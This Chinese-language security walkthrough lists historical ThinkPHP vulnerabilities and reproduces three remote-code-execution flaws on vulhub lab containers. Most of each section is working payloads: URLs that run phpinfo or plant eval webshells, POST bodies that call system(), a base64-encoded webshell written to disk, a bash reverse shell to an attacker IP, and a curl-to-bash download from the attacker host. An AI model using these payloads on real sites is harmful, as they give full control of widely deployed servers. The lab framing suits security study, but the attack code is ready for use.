ThinkPHP简介

Thinkphp 是一种开源框架。是一个由国人开发的支持windows/Unix/Linux 等服务器环境的轻量级PHP开发框架。
很多cms就是基于 thinkphp 二次开发的,所以 thinkphp 出问题的话,会影响很多基于 thinkphp开发的网站。

Thinkphp历史漏洞

版本 漏洞类型
ThinkPHP3.2.3 缓存函数设计缺陷可导致Getshell
ThinkPHP3.2.3 最新版update注入漏洞
ThinkPHP3.2.X find_select_delete注入
ThinkPHP3.X order_by注入漏洞
ThinkPHP5.0.X sql注入漏洞
ThinkPHP5.0.10 缓存函数设计缺陷可导致Getshell
ThinkPHP5 SQL注入漏洞&&敏感信息泄露
ThinkPHP5.X order_by注入漏洞
ThinkPHP5.X 远程代码执行

Thinkphp 2.x 任意代码执行漏洞

漏洞描述

漏洞产生的原因是因为ThinkPHP 2.x版本中,使用preg_replace (‘正则规则’,‘替换字符’,‘目标字符’)的/e(可执行模式)模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

影响版本

ThinkPHP 2.x

ThinkPHP 3.0

漏洞复现

vulhub

docker-compose up -d

docker ps

访问靶场地址 http://yourip:8080

使用POC验证漏洞

http://192.168.88.130:8080/index.php?s=/index/index/xxx/${@phpinfo()}

phpinfo被执行成功,那么试一试webshell

http://192.168.88.130:8080/index.php?s=/index/index/xxx/${${@eval($_POST[111])}}

蚁剑连接

Thinkphp5.0.23远程代码执行漏洞(CVE-2018-20062)

漏洞描述

ThinkPHP5.0.23版本的漏洞:获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

影响版本

Thinkphp 5.0.0~ 5.0.23

漏洞复现

vulhub

docker-compose up -d

docker ps

访问靶场地址

判断是否存在漏洞,访问/index.php?s=captcha页面,会出现报错

利用post请求,执行whoami命令,id,pwd等系统命令,都会回显到页面上来

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

使用echo命令写入webshell,需要将一句话木马进行base64编码

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo -n
YWE8P3BocCBAZXZhbCgkX1BPU1RbJ2NtZCddKTs/PmM= | base64 -d > shell.php

发送post请求,访问shell.php 文件

进入服务端查看是否上传成功

bash反弹shell操作

在攻击机新建一个xx.sh文件,写入bash反弹shell的命令。

bash -i >& /dev/tcp/192.168.88.128/6666 0>&1

#IP为攻击机的ip,端口自定义

攻击机上开启http服务保证,目标机器可以访问到xx.sh反弹shell文件

python3 -m http.server 80

攻击机开启监听6666端口

nc -lvvp 6666

使用post请求,发送以下poc

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=curl 192.168.88.128/thinkphp5.0.23.sh | bash

查看监听端口,发现成功反弹

ThinkPHP 5.0.x 未开启强制路由导致的RCE 漏洞分析(CNVD-2018-24942)

漏洞描述

框架对传入的路由参数过滤不严格,导致攻击者可以操作非预期的控制器类来远程执行代码。

影响版本

ThinkPHP 5.0.5-5.0.22
5.1.0-5.1.30

漏洞复现

vulhub

docker-compose up -d 

docker ps

访问靶场,即可搭建成功

写入POC

index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=-1

远程命令执行,POC

/index.php?
s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&v
ars[1][]=whoami

写入webshell

/index.php?
s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST[ccc]);?>

/index.php?
s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo -n
bash反弹shell命令得base64编码 | base64 -d > shell9.php